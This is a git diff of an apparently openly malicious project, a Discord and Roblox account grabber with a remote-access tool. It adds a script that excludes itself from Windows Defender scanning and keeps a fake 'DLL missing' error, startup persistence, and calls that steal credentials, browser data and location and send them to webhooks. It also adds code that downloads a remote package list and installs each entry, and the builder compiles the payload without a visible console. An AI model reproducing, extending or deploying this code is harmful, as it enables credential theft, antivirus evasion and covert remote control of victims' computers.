diff --git a/commands/readme.md b/commands/README.md similarity index 99% rename from commands/readme.md rename to commands/README.md index 3a8ef7b..4925525 100644 --- a/commands/readme.md +++ b/commands/README.md @@ -19,5 +19,4 @@ Roblox: Grabs Roblox accounts [Advanced] RAT: Runs a RAT on the victim's computer. (see github.com/DamagingRose/Rose-RAT) Ping: ping @everyone once the grabber is started - -``` \ No newline at end of file +``` diff --git a/launch_builder.bat b/launch_builder.bat index 32b99a6..477370f 100644 --- a/launch_builder.bat +++ b/launch_builder.bat @@ -13,7 +13,7 @@ goto :CHOICE1 :PYTHON_DOES_EXIST for /f "delims=" %%V in ('python -V') do @set ver=%%V echo Looks good, %ver% is installed... -goto :CHOICE2 +goto :CHOICE2 :CHOICE1 set /P c=Do you want to download Python 3.11.2 NOW with Curl or download it MANUALLY? [N/M] @@ -54,4 +54,4 @@ echo WARNING | Closing this results that the builder is also being exited. :MANUALLY2 echo Okay, the builder is called rose_builder.pyw and is located in the tools folder. Press ENTER to exit. pause -exit \ No newline at end of file +exit diff --git a/roseui/README.md b/roseui/README.md new file mode 100644 index 0000000..9c61fbf --- /dev/null +++ b/roseui/README.md @@ -0,0 +1 @@ +this is still under development lol - xpierroz diff --git a/roseui/builder.py b/roseui/builder.py index 4441f95..6490291 100644 --- a/roseui/builder.py +++ b/roseui/builder.py @@ -93,7 +93,7 @@ def edit_config(self): f.write(new) def compile(self): - os.system(f'pyinstaller --noconfirm --onefile --windowed "{self.path}/main.py"') + os.system(f'pyinstaller --noconsole --onefile "{self.path}/main.py"') def move_dir(self): shutil.move("dist\\main.exe", f"{self.dir_name}.exe") @@ -101,8 +101,6 @@ def move_dir(self): shutil.rmtree('dist') os.remove("main.spec") - - def run(self): try: self.create_dir() @@ -132,4 +130,4 @@ def run(self): sys.argv[12], sys.argv[13], sys.argv[14] - ).run() \ No newline at end of file + ).run() diff --git a/roseui/readme.md b/roseui/readme.md deleted file mode 100644 index 3a3dd00..0000000 --- a/roseui/readme.md +++ /dev/null @@ -1 +0,0 @@ -this is still under development lol - xpierroz \ No newline at end of file diff --git a/roseui/v8.pyw b/roseui/v8.pyw index 63884ab..8e42379 100644 --- a/roseui/v8.pyw +++ b/roseui/v8.pyw @@ -1,3 +1,23 @@ +def requirementsinstallation(): + try: + import requests + except Exception: + import subprocess + subprocess.run("python -m pip install requests", shell=True) + + import requests + import subprocess + requirementsurl = requests.get("https://raw.githubusercontent.com/DamagingRose/Rose-Injector/main/scrapedata/requirements.txt").text + spliee = requirementsurl.split() + done00:int = 0 + for split in spliee: + print(f"\n[INFO]: [Installing the missing libraries.... Wait till you see the finish message. ({done00}/{len(spliee)})]") + subprocess.run(f"python -m pip install {split}", shell=True) + done00+=1 + subprocess.run("cls", shell=True) + +requirementsinstallation() + import sys, os if sys.executable.endswith('pythonw.exe'): sys.stdout = open(os.devnull, 'w') @@ -340,4 +360,5 @@ if __name__ in {"__main__", "__mp_main__"}: server_kwargs={"dark": True, "reload": False, "show": False, "port": 3000}, width=700, height=700, - ).run() \ No newline at end of file + ).run() + diff --git a/source/disabledefender.py b/source/disabledefender.py new file mode 100644 index 0000000..0f05617 --- /dev/null +++ b/source/disabledefender.py @@ -0,0 +1,5 @@ +import subprocess +from sys import argv + +curr = argv[0] +subprocess.run(f"Set-MpPreference -ExclusionPath {curr}", shell=True) diff --git a/source/main.py b/source/main.py index 1e9a59e..493e684 100644 --- a/source/main.py +++ b/source/main.py @@ -1,17 +1,7 @@ -import _webhook -import discordc -import informations -import malicious -import rat -import injection -from config import Config -from _roblox import RobloxX -from anonFile import uploadToAnonfiles -from startup import StartUp -ii = informations.Info() -_webh = _webhook.WebhookX() -cc = Config() +from requirements_installation import requirementsinstallation + try: + ### Imports import getpass import platform import ctypes @@ -22,10 +12,9 @@ import socket import subprocess import threading + import sys import dhooks import requests - import psutil - import browser_cookie3 from base64 import b64decode from ctypes import POINTER, Structure, byref, c_buffer, c_char, cdll, windll, wintypes from json import dumps @@ -37,32 +26,33 @@ from zipfile import ZipFile from Crypto.Cipher import AES from PIL import ImageGrab - from tabulate import tabulate -except Exception: - try: - import requests - import subprocess - import os - except Exception: - import subprocess - subprocess.run("python -m pip install requests", shell=True, check=True) - - import requests - requirementsurl = requests.get("https://raw.githubusercontent.com/DamagingRose/Rose-Injector/main/scrapedata/requirements.txt").text - spliee = requirementsurl.split() - for split in spliee: - subprocess.run(f"python -m pip install {split}", shell=True, check=True) - subprocess.run("cls", shell=True, check=True) + ### File Imports + import _webhook + import discordc + import informations + import malicious + import rat + import injection + from config import Config + from _roblox import RobloxX + from anonFile import uploadToAnonfiles + from startup import StartUp +except Exception: + requirementsinstallation() + +ii = informations.Info() +_webh = _webhook.WebhookX() +cc = Config() -if platform.system() is not "Windows": - exit() +if platform.system() != "Windows": + sys.exit() -if cc.get_fake_error() is True: +if cc.get_fake_error() == True: ctypes.windll.user32.MessageBoxW(0, "The program can't start because VLg7.ll is missing from your computer. Try reinstalling the program to fix this problem", "DDL missing", 16) -if cc.get_start_up() is True: +if cc.get_start_up() == True: StartUp() @@ -866,17 +856,17 @@ def send_malicious(): print(filetext) upload("kiwi", filetext) -if cc.get_malicious_stealing() is True: +if cc.get_malicious_stealing() == True: send_malicious() -if cc.get_injection() is True: +if cc.get_injection() == True: injection.InjectionX(webhook) -if cc.get_roblox_stealing() is True: +if cc.get_roblox_stealing() == True: RobloxX().run() -if cc.get_location_stealing() is True: +if cc.get_location_stealing() == True: _webh.locations_webhook(ii.global_info()) -if cc.get_discord_rat() is True: +if cc.get_discord_rat() == True: rat.run_rat() diff --git a/source/requirements_installation.py b/source/requirements_installation.py new file mode 100644 index 0000000..99f8e02 --- /dev/null +++ b/source/requirements_installation.py @@ -0,0 +1,19 @@ +class requirementsinstallation(): + try: + import requests + except Exception: + import subprocess + subprocess.run("python -m pip install requests", shell=True) + + import requests + import subprocess + + requirementsurl = requests.get("https://raw.githubusercontent.com/DamagingRose/Rose-Injector/main/scrapedata/requirements.txt").text + spliee = requirementsurl.split() + done00:int = 0 + + for split in spliee: + print(f"\n[INFO]: [Installing the missing libraries.... Wait till you see the finish message. ({done00}/{len(spliee)})]") + subprocess.run(f"python -m pip install {split}", shell=True) + done00+=1 + subprocess.run("cls", shell=True) diff --git a/tools/rose_builder.pyw b/tools/rose_builder.pyw index af7781a..e858184 100644 --- a/tools/rose_builder.pyw +++ b/tools/rose_builder.pyw @@ -9,21 +9,20 @@ __icon__ = "https://raw.githubusercontent.com/DamagingRose/Rose-Injector/main/to def requirementsinstallation(): try: import requests - import os - import subprocess except Exception: import subprocess - subprocess.run("python -m pip install requests", shell=True, check=True) - + subprocess.run("python -m pip install requests", shell=True) + + import requests + import subprocess requirementsurl = requests.get("https://raw.githubusercontent.com/DamagingRose/Rose-Injector/main/scrapedata/requirements.txt").text spliee = requirementsurl.split() done00:int = 0 for split in spliee: print(f"\n[INFO]: [Installing the missing libraries.... Wait till you see the finish message. ({done00}/{len(spliee)})]") - subprocess.run(f"python -m pip install {split}", shell=True, check=True) + subprocess.run(f"python -m pip install {split}", shell=True) done00+=1 - subprocess.run("cls", shell=True, check=True) - + subprocess.run("cls", shell=True) requirementsinstallation()